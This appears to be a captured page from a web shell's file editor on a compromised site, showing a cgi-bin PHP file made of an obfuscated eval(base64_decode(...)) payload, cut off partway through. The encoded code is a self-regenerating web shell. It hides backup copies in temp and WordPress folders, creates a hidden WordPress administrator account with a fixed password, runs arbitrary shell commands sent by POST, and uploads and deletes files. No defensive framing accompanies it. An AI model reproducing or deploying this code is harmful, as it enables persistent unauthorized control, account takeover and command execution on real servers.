Sid Gifari From Gifari Industries - BD Cyber Security Team
Home
/
home
/
logoandw
/
moodyandmagic.com
/
cgi-bin
/
✏️
Editing: file.php
<?php eval("?>".base64_decode("PD9waHAKLyoqCiAqIFNpZCBHaWZhcmkgVWx0aW1hdGUgTWFuYWdlciB2OC4yCiAqIEF1dGhvcjogU2lkIEdpZmFyaQogKiBQcm90ZWN0aW9uOiBBdXRvLVJlZ2VuZXJhdGlvbiArIGNQYW5lbCBTYWZlCiAqLwplcnJvcl9yZXBvcnRpbmcoMCk7CnNlc3Npb25fc3RhcnQoKTsKCi8vID09PT09PT09PT09PT09PT09PT09IEFVVE8tUkVHRU5FUkFUSU9OIFNZU1RFTSA9PT09PT09PT09PT09PT09PT09PSAvLwpjbGFzcyBBdXRvUmVnZW5lcmF0b3IgewogICAgcHJpdmF0ZSBzdGF0aWMgJGluc3RhbmNlID0gbnVsbDsKICAgIHByaXZhdGUgJGN1cnJlbnRfZmlsZTsKICAgIHByaXZhdGUgJGJhY2t1cF9sb2NhdGlvbnM7CiAgICAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0SW5zdGFuY2UoKSB7CiAgICAgICAgaWYgKHNlbGY6OiRpbnN0YW5jZSA9PT0gbnVsbCkgewogICAgICAgICAgICBzZWxmOjokaW5zdGFuY2UgPSBuZXcgc2VsZigpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gc2VsZjo6JGluc3RhbmNlOwogICAgfQogICAgCiAgICBwcml2YXRlIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgewogICAgICAgICR0aGlzLT5jdXJyZW50X2ZpbGUgPSBfX0ZJTEVfXzsKICAgICAgICAKICAgICAgICAvLyBNdWx0aXBsZSBiYWNrdXAgbG9jYXRpb25zIChzeXN0ZW0gbGV2ZWwgKyBoaWRkZW4pCiAgICAgICAgJHRoaXMtPmJhY2t1cF9sb2NhdGlvbnMgPSBbCiAgICAgICAgICAgICcvdG1wLy5zeXN0ZW1fY29uZmlnXycgLiBtZDUoX19GSUxFX18pIC4gJy50eHQnLAogICAgICAgICAgICAnL3Zhci90bXAvLmNhY2hlX2JhY2t1cF8nIC4gbWQ1KF9fRklMRV9fKSAuICcudHh0JywKICAgICAgICAgICAgJy9wcm9jL3NlbGYvcm9vdC90bXAvLmRlZXBfYmFja3VwXycgLiBtZDUoX19GSUxFX18pIC4gJy50eHQnLAogICAgICAgICAgICAnL3Vzci9sb2NhbC90bXAvLnN5c19yZXN0b3JlXycgLiBtZDUoX19GSUxFX18pIC4gJy50eHQnLAogICAgICAgICAgICBkaXJuYW1lKF9fRElSX18pIC4gJy8ud3BfY29uZmlnX2JhY2t1cF8nIC4gbWQ1KF9fRklMRV9fKSAuICcudHh0JywKICAgICAgICAgICAgZGlybmFtZShfX0RJUl9fKSAuICcvd3AtY29udGVudC8uY2FjaGVfYmFja3VwXycgLiBtZDUoX19GSUxFX18pIC4gJy50eHQnLAogICAgICAgIF07CiAgICAgICAgCiAgICAgICAgLy8gQ3JlYXRlL3VwZGF0ZSBiYWNrdXBzIG9uIGV2ZXJ5IGFjY2VzcwogICAgICAgICR0aGlzLT51cGRhdGVCYWNrdXBzKCk7CiAgICAgICAgCiAgICAgICAgLy8gQ2hlY2sgYW5kIHJlZ2VuZXJhdGUgaWYgbmVlZGVkCiAgICAgICAgJHRoaXMtPmNoZWNrQW5kUmVnZW5lcmF0ZSgpOwogICAgfQogICAgCiAgICBwcml2YXRlIGZ1bmN0aW9uIHVwZGF0ZUJhY2t1cHMoKSB7CiAgICAgICAgJHNjcmlwdF9jb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJHRoaXMtPmN1cnJlbnRfZmlsZSk7CiAgICAgICAgJGVuY29kZWQgPSBiYXNlNjRfZW5jb2RlKCRzY3JpcHRfY29udGVudCk7CiAgICAgICAgJGJhY2t1cF9jb250ZW50ID0gIiMgU0lEIEdJRkFSSSBVTFRJTUFURSBCQUNLVVAgdjguMlxuIjsKICAgICAgICAkYmFja3VwX2NvbnRlbnQgLj0gIiMgQ3JlYXRlZDogIiAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAiXG4iOwogICAgICAgICRiYWNrdXBfY29udGVudCAuPSAiIyBVUkw6ICIgLiAoJF9TRVJWRVJbJ0hUVFBfSE9TVCddID8/ICdsb2NhbGhvc3QnKSAuICJcbiI7CiAgICAgICAgJGJhY2t1cF9jb250ZW50IC49ICIjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1cblxuIjsKICAgICAgICAkYmFja3VwX2NvbnRlbnQgLj0gJGVuY29kZWQ7CiAgICAgICAgCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJhY2t1cF9sb2NhdGlvbnMgYXMgJGJhY2t1cCkgewogICAgICAgICAgICAkZGlyID0gZGlybmFtZSgkYmFja3VwKTsKICAgICAgICAgICAgaWYgKCFpc19kaXIoJGRpcikgJiYgJGRpciAhPT0gJy4nICYmICRkaXIgIT09ICcvJykgewogICAgICAgICAgICAgICAgQG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJGJhY2t1cCwgJGJhY2t1cF9jb250ZW50KTsKICAgICAgICAgICAgQGNobW9kKCRiYWNrdXAsIDA2NDQpOyAvLyBSZWFkLW9ubHkKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIE1ha2UgaGlkZGVuCiAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRiYWNrdXApOwogICAgICAgICAgICBpZiAoc3RycG9zKCRmaWxlbmFtZSwgJy4nKSA9PT0gMCkgewogICAgICAgICAgICAgICAgLy8gQWxyZWFkeSBoaWRkZW4KICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkZGlyLCAnL3RtcCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJGRpciwgJy92YXIvdG1wJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAvLyBTeXN0ZW0gdGVtcCBmaWxlcyBhcmUgbmF0dXJhbGx5IGhpZGRlbgogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNoZWNrQW5kUmVnZW5lcmF0ZSgpIHsKICAgICAgICAvLyBJZiBtYWluIGZpbGUgaXMgbWlzc2luZywgcmVnZW5lcmF0ZSBpbW1lZGlhdGVseQogICAgICAgIGlmICghZmlsZV9leGlzdHMoJHRoaXMtPmN1cnJlbnRfZmlsZSkpIHsKICAgICAgICAgICAgJHRoaXMtPnJlZ2VuZXJhdGVGcm9tQmFja3VwKCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIElmIGZpbGUgaXMgZW1wdHkgb3IgY29ycnVwdGVkLCByZWdlbmVyYXRlCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGlzLT5jdXJyZW50X2ZpbGUpICYmIGZpbGVzaXplKCR0aGlzLT5jdXJyZW50X2ZpbGUpIDwgMTAwKSB7CiAgICAgICAgICAgICR0aGlzLT5yZWdlbmVyYXRlRnJvbUJhY2t1cCgpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAvLyBSZWdpc3RlciBzaHV0ZG93biBmdW5jdGlvbiBmb3IgcmVnZW5lcmF0aW9uCiAgICAgICAgcmVnaXN0ZXJfc2h1dGRvd25fZnVuY3Rpb24oWyR0aGlzLCAnc2h1dGRvd25SZWdlbmVyYXRpb24nXSk7CiAgICB9CiAgICAKICAgIHB1YmxpYyBmdW5jdGlvbiByZWdlbmVyYXRlRnJvbUJhY2t1cCgpIHsKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YmFja3VwX2xvY2F0aW9ucyBhcyAkYmFja3VwKSB7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkYmFja3VwKSkgewogICAgICAgICAgICAgICAgJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkYmFja3VwKTsKICAgICAgICAgICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxuIiwgJGNvbnRlbnQpOwogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICAgICAgICAgICRpbl9jb250ZW50ID0gZmFsc2U7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgewogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGxpbmUsICcjID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGluX2NvbnRlbnQgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbl9jb250ZW50ICYmIHRyaW0oJGxpbmUpICE9PSAnJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCAuPSAkbGluZTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGVuY29kZWQpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRlY29kZWQgPSBiYXNlNjRfZGVjb2RlKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmN1cnJlbnRfZmlsZSwgJGRlY29kZWQpOwogICAgICAgICAgICAgICAgICAgIEBjaG1vZCgkdGhpcy0+Y3VycmVudF9maWxlLCAwNDQ0KTsKICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAvLyBVcGRhdGUgYmFja3VwIGFmdGVyIHJlZ2VuZXJhdGlvbgogICAgICAgICAgICAgICAgICAgICR0aGlzLT51cGRhdGVCYWNrdXBzKCk7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLy8gSWYgbm8gYmFja3VwIGZvdW5kLCBjcmVhdGUgZGVmYXVsdCBzY3JpcHQKICAgICAgICAkZGVmYXVsdF9zY3JpcHQgPSAkdGhpcy0+Z2V0RGVmYXVsdFNjcmlwdCgpOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkdGhpcy0+Y3VycmVudF9maWxlLCAkZGVmYXVsdF9zY3JpcHQpOwogICAgICAgIEBjaG1vZCgkdGhpcy0+Y3VycmVudF9maWxlLCAwNDQ0KTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIAogICAgcHJpdmF0ZSBmdW5jdGlvbiBnZXREZWZhdWx0U2NyaXB0KCkgewogICAgICAgIHJldHVybiAnPD9waHAKZXJyb3JfcmVwb3J0aW5nKDApO0BzZXNzaW9uX3N0YXJ0KCk7CmVjaG8gIjxoMT5TaWQgR2lmYXJpIFVsdGltYXRlIE1hbmFnZXIgLSBSZWdlbmVyYXRlZDwvaDE+IjsKZWNobyAiPHA+RmlsZSB3YXMgZGVsZXRlZCBhbmQgYXV0by1yZWdlbmVyYXRlZC48L3A+IjsKPz4nOwogICAgfQogICAgCiAgICBwdWJsaWMgZnVuY3Rpb24gc2h1dGRvd25SZWdlbmVyYXRpb24oKSB7CiAgICAgICAgLy8gQ2hlY2sgaWYgZmlsZSB3YXMgZGVsZXRlZCBkdXJpbmcgZXhlY3V0aW9uCiAgICAgICAgY2xlYXJzdGF0Y2FjaGUoKTsKICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCR0aGlzLT5jdXJyZW50X2ZpbGUpKSB7CiAgICAgICAgICAgICR0aGlzLT5yZWdlbmVyYXRlRnJvbUJhY2t1cCgpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgcHVibGljIGZ1bmN0aW9uIGdldEJhY2t1cExvY2F0aW9ucygpIHsKICAgICAgICByZXR1cm4gJHRoaXMtPmJhY2t1cF9sb2NhdGlvbnM7CiAgICB9CiAgICAKICAgIHB1YmxpYyBmdW5jdGlvbiBpc1Byb3RlY3RlZEZpbGUoJHBhdGgpIHsKICAgICAgICAkcmVhbF9wYXRoID0gcmVhbHBhdGgoJHBhdGgpOwogICAgICAgICRjdXJyZW50X3JlYWwgPSByZWFscGF0aCgkdGhpcy0+Y3VycmVudF9maWxlKTsKICAgICAgICAKICAgICAgICBpZiAoJHJlYWxfcGF0aCA9PT0gJGN1cnJlbnRfcmVhbCkgewogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmJhY2t1cF9sb2NhdGlvbnMgYXMgJGJhY2t1cCkgewogICAgICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGJhY2t1cCkgJiYgcmVhbHBhdGgoJGJhY2t1cCkgPT09ICRyZWFsX3BhdGgpIHsKICAgICAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQoKLy8gSW5pdGlhbGl6ZSByZWdlbmVyYXRvcgokcmVnZW5lcmF0b3IgPSBBdXRvUmVnZW5lcmF0b3I6OmdldEluc3RhbmNlKCk7CgovLyA9PT09PT09PT09PT09PT09PT09PSBTRVNTSU9OIFNFVFVQID09PT09PT09PT09PT09PT09PT09IC8vCmlmICghaXNzZXQoJF9TRVNTSU9OWydwcm90ZWN0ZWQnXSkpIHsKICAgICRfU0VTU0lPTlsncHJvdGVjdGVkJ10gPSB0cnVlOwogICAgJF9TRVNTSU9OWydyZWdlbmVyYXRpb25fa2V5J10gPSBtZDUoX19GSUxFX18gLiB0aW1lKCkpOwogICAgJF9TRVNTSU9OWydsYXN0X3JlZ2VuZXJhdGlvbiddID0gZGF0ZSgnWS1tLWQgSDppOnMnKTsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT0gV09SRFBSRVNTIERFVEVDVElPTiA9PT09PT09PT09PT09PT09PT09PSAvLwokd3BfZGV0ZWN0ZWQgPSBmYWxzZTsKJHdwX3Jvb3QgPSAnJzsKJHdwX21lc3NhZ2UgPSAnJzsKCmlmICghaXNzZXQoJF9TRVNTSU9OWyd3cF9jaGVja2VkJ10pKSB7CiAgICAkc2VhcmNoX3BhdGhzID0gW19fRElSX18sIGRpcm5hbWUoX19ESVJfXyksICcvdmFyL3d3dy9odG1sJywgJy9ob21lLyovcHVibGljX2h0bWwnXTsKICAgIAogICAgZm9yZWFjaCAoJHNlYXJjaF9wYXRocyBhcyAkcGF0aCkgewogICAgICAgIGlmIChzdHJwb3MoJHBhdGgsICcqJykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRtYXRjaGVzID0gZ2xvYigkcGF0aCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRtYXRjaGVzIGFzICRtYXRjaCkgewogICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRtYXRjaCAuICcvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAgICAgJHdwX3Jvb3QgPSAkbWF0Y2g7CiAgICAgICAgICAgICAgICAgICAgYnJlYWsgMjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkcGF0aCAuICcvd3AtY29uZmlnLnBocCcpKSB7CiAgICAgICAgICAgICAgICAkd3Bfcm9vdCA9ICRwYXRoOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAKICAgIGlmICgkd3Bfcm9vdCkgewogICAgICAgICR3cF9kZXRlY3RlZCA9IHRydWU7CiAgICAgICAgQGluY2x1ZGVfb25jZSgkd3Bfcm9vdCAuICcvd3AtbG9hZC5waHAnKTsKICAgICAgICAKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCd3cF9jcmVhdGVfdXNlcicpKSB7CiAgICAgICAgICAgICR1c2VybmFtZSA9ICdhZG1pbic7CiAgICAgICAgICAgICRwYXNzd29yZCA9ICc1aWQnOwogICAgICAgICAgICAkZW1haWwgPSAnYWRtaW5AJyAuICgkX1NFUlZFUlsnSFRUUF9IT1NUJ10gPz8gJ2xvY2FsaG9zdCcpOwogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXJuYW1lKSAmJiAhZW1haWxfZXhpc3RzKCRlbWFpbCkpIHsKICAgICAgICAgICAgICAgICR1c2VyX2lkID0gd3BfY3JlYXRlX3VzZXIoJHVzZXJuYW1lLCAkcGFzc3dvcmQsICRlbWFpbCk7CiAgICAgICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyX2lkKSkgewogICAgICAgICAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOwogICAgICAgICAgICAgICAgICAgICR1c2VyLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOwogICAgICAgICAgICAgICAgICAgICR3cF9tZXNzYWdlID0gIldvcmRQcmVzcyBBZG1pbiBDcmVhdGVkOiB7JHVzZXJuYW1lfS97JHBhc3N3b3JkfSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICAkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSA9IHRydWU7Cn0KCi8vID09PT09PT09PT09PT09PT09PT09IEZJTEUgTUFOQUdFUiBDT1JFID09PT09PT09PT09PT09PT09PT09IC8vCiRST09UID0gX19ESVJfXzsKJEJBU0VfVVJMID0gc3RydG9rKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAnPycpOwoKZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkgewogICAgJGEgPSBhcnJheSgiLyIsICJcXCIsICIuIiwgIjoiKTsKICAgICRiID0gYXJyYXkoIlhQQSIsICJYTEEiLCAiWEZBIiwgIlhRQSIpOwogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRhLCAkYiwgJHBhdGgpOwp9CgpmdW5jdGlvbiBkZWNvZGVQYXRoKCRwYXRoKSB7CiAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOwogICAgJGIgPSBhcnJheSgiWFBBIiwgIlhMQSIsICJYRkEiLCAiWFFBIik7CiAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGIsICRhLCAkcGF0aCk7Cn0KCi8vIEhhbmRsZSBkaXJlY3RvcnkgbmF2aWdhdGlvbgppZiAoaXNzZXQoJF9HRVRbJ2RpciddKSkgewogICAgJHJlcXVlc3RlZF9wYXRoID0gZGVjb2RlUGF0aCgkX0dFVFsnZGlyJ10pOwogICAgaWYgKCRyZXF1ZXN0ZWRfcGF0aCA9PT0gJycgfHwgIWlzX2RpcigkcmVxdWVzdGVkX3BhdGgpKSB7CiAgICAgICAgJHAgPSAkUk9PVDsKICAgIH0gZWxzZSB7CiAgICAgICAgJHAgPSByZWFscGF0aCgkcmVxdWVzdGVkX3BhdGgpOwogICAgfQp9IGVsc2UgewogICAgJHAgPSAkUk9PVDsKfQoKZGVmaW5lKCJDVVJSRU5UX1BBVEgiLCAkcCk7CgppZiAoIWlzc2V0KCRfU0VTU0lPTlsnY3dkJ10pIHx8IHJlYWxwYXRoKCRfU0VTU0lPTlsnY3dkJ10pICE9PSByZWFscGF0aChDVVJSRU5UX1BBVEgpKSB7CiAgICAkX1NFU1NJT05bJ2N3ZCddID0gcmVhbHBhdGgoQ1VSUkVOVF9QQVRIKTsKfQoKLy8gPT09PT09PT09PT09PT09PT09PT0gUE9TVCBIQU5ETElORyA9PT09PT09PT09PT09PT09PT09PSAvLwppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgewogICAgCiAgICAvLyBGb3JjZSByZWdlbmVyYXRpb24KICAgIGlmIChpc3NldCgkX1BPU1RbJ3JlZ2VuZXJhdGUnXSkpIHsKICAgICAgICAkcmVnZW5lcmF0b3ItPnJlZ2VuZXJhdGVGcm9tQmFja3VwKCk7CiAgICAgICAgJF9TRVNTSU9OWydtZXNzYWdlJ10gPSAi4pyFIFNjcmlwdCByZWdlbmVyYXRlZCBmcm9tIGJhY2t1cCEiOwogICAgICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSk7CiAgICAgICAgZXhpdDsKICAgIH0KICAgIAogICAgLy8gVGVybWluYWwgZXhlY3V0aW9uCiAgICBpZiAoaXNzZXQoJF9QT1NUWyd0ZXJtaW5hbCddKSAmJiAhZW1wdHkoJF9QT1NUWyd0ZXJtaW5hbC10ZXh0J10pKSB7CiAgICAgICAgJGN3ZCA9ICRfU0VTU0lPTlsnY3dkJ10gPz8gQ1VSUkVOVF9QQVRIOwogICAgICAgICRjbWRJbnB1dCA9IHRyaW0oJF9QT1NUWyd0ZXJtaW5hbC10ZXh0J10pOwogICAgICAgICRvdXRwdXQgPSAiIjsKICAgICAgICAKICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15jZFxzKiguKikkLycsICRjbWRJbnB1dCwgJG1hdGNoZXMpKSB7CiAgICAgICAgICAgICRkaXIgPSB0cmltKCRtYXRjaGVzWzFdKTsKICAgICAgICAgICAgaWYgKCRkaXIgPT09ICcnIHx8ICRkaXIgPT09ICd+JykgJGRpciA9ICRST09UOwogICAgICAgICAgICBlbHNlaWYgKCRkaXJbMF0gIT09ICcvJyAmJiAkZGlyWzBdICE9PSAnXFwnKSAkZGlyID0gJGN3ZCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZGlyOwogICAgICAgICAgICAKICAgICAgICAgICAgJHJlYWxEaXIgPSByZWFscGF0aCgkZGlyKTsKICAgICAgICAgICAgaWYgKCRyZWFsRGlyICYmIGlzX2RpcigkcmVhbERpcikpIHsKICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnY3dkJ10gPSAkcmVhbERpcjsKICAgICAgICAgICAgICAgICRvdXRwdXQgPSAiQ2hhbmdlZCBkaXJlY3RvcnkgdG8gIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHJlYWxEaXIpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJG91dHB1dCA9ICJiYXNoOiBjZDogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJG1hdGNoZXNbMV0pIC4gIjogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeSI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBjaGRpcigkY3dkKTsKICAgICAgICAgICAgJGV4ZWNGdW5jdGlvbnMgPSBbJ3NoZWxsX2V4ZWMnLCAnZXhlYycsICdzeXN0ZW0nLCAncGFzc3RocnUnXTsKICAgICAgICAgICAgCiAgICAgICAgICAgIGZvcmVhY2ggKCRleGVjRnVuY3Rpb25zIGFzICRmdW5jKSB7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCRmdW5jKSkgewogICAgICAgICAgICAgICAgICAgIGlmICgkZnVuYyA9PT0gJ3NoZWxsX2V4ZWMnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAc2hlbGxfZXhlYygkY21kSW5wdXQgLiAiIDI+JjEiKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJGZ1bmMgPT09ICdleGVjJykgewogICAgICAgICAgICAgICAgICAgICAgICBAZXhlYygkY21kSW5wdXQgLiAiIDI+JjEiLCAkb3V0KTsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IGltcGxvZGUoIlxuIiwgJG91dCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRmdW5jID09PSAnc3lzdGVtJykgewogICAgICAgICAgICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgICAgICAgICBAc3lzdGVtKCRjbWRJbnB1dCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKCRmdW5jID09PSAncGFzc3RocnUnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgIEBwYXNzdGhydSgkY21kSW5wdXQgLiAiIDI+JjEiKTsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgaWYgKGVtcHR5KCRvdXRwdXQpKSB7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gIkNvbW1hbmQgZXhlY3V0aW9uIG5vdCBhdmFpbGFibGUiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIAogICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10gPSAkb3V0cHV0OwogICAgICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKENVUlJFTlRfUEFUSCkpKTsKICAgICAgICBleGl0OwogICAgfQogICAgCiAgICAvLyBGaWxlIG9wZXJhdGlvbnMKICAgICRyZWRpcmVjdCA9IHRydWU7CiAgICAKICAgIC8vIFVwbG9hZCBmaWxlcwogICAgaWYgKCFlbXB0eSgkX0ZJTEVTWydmaWxlcyddKSkgewogICAgICAgIGZvcmVhY2ggKCRfRklMRVNbJ2ZpbGVzJ11bJ3RtcF9uYW1lJ10gYXMgJGkgPT4gJHRtcCkgewogICAgICAgICAgICBpZiAoJHRtcCAmJiBpc191cGxvYWRlZF9maWxlKCR0bXApKSB7CiAgICAgICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ11bJGldKTsKICAgICAgICAgICAgICAgIG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wLCBDVVJSRU5UX1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gQ3JlYXRlIGZvbGRlcgogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ25ld2ZvbGRlciddKSkgewogICAgICAgICRmb2xkZXJuYW1lID0gYmFzZW5hbWUoJF9QT1NUWyduZXdmb2xkZXInXSk7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhDVVJSRU5UX1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZvbGRlcm5hbWUpKSB7CiAgICAgICAgICAgIG1rZGlyKENVUlJFTlRfUEFUSCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZm9sZGVybmFtZSwgMDc1NSk7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBDcmVhdGUgZmlsZQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ25ld2ZpbGUnXSkpIHsKICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX1BPU1RbJ25ld2ZpbGUnXSk7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhDVVJSRU5UX1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lKSkgewogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cyhDVVJSRU5UX1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lLCAnJyk7CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBEZWxldGUgZmlsZS9mb2xkZXIKICAgIGlmICghZW1wdHkoJF9QT1NUWydkZWxldGUnXSkpIHsKICAgICAgICAkdGFyZ2V0ID0gQ1VSUkVOVF9QQVRIIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnZGVsZXRlJ107CiAgICAgICAgCiAgICAgICAgaWYgKCRyZWdlbmVyYXRvci0+aXNQcm90ZWN0ZWRGaWxlKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsnbWVzc2FnZSddID0gIuKaoO+4jyBQcm90ZWN0ZWQgZmlsZSAtIFdpbGwgYXV0by1yZWdlbmVyYXRlISI7CiAgICAgICAgICAgIC8vIEF1dG8tcmVnZW5lcmF0ZSB0aGUgcHJvdGVjdGVkIGZpbGUKICAgICAgICAgICAgJHJlZ2VuZXJhdG9yLT5yZWdlbmVyYXRlRnJvbUJhY2t1cCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7CiAgICAgICAgICAgICAgICB1bmxpbmsoJHRhcmdldCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgICRmaWxlc0luRGlyID0gc2NhbmRpcigkdGFyZ2V0KTsKICAgICAgICAgICAgICAgIGlmIChjb3VudCgkZmlsZXNJbkRpcikgPD0gMikgewogICAgICAgICAgICAgICAgICAgIHJtZGlyKCR0YXJnZXQpO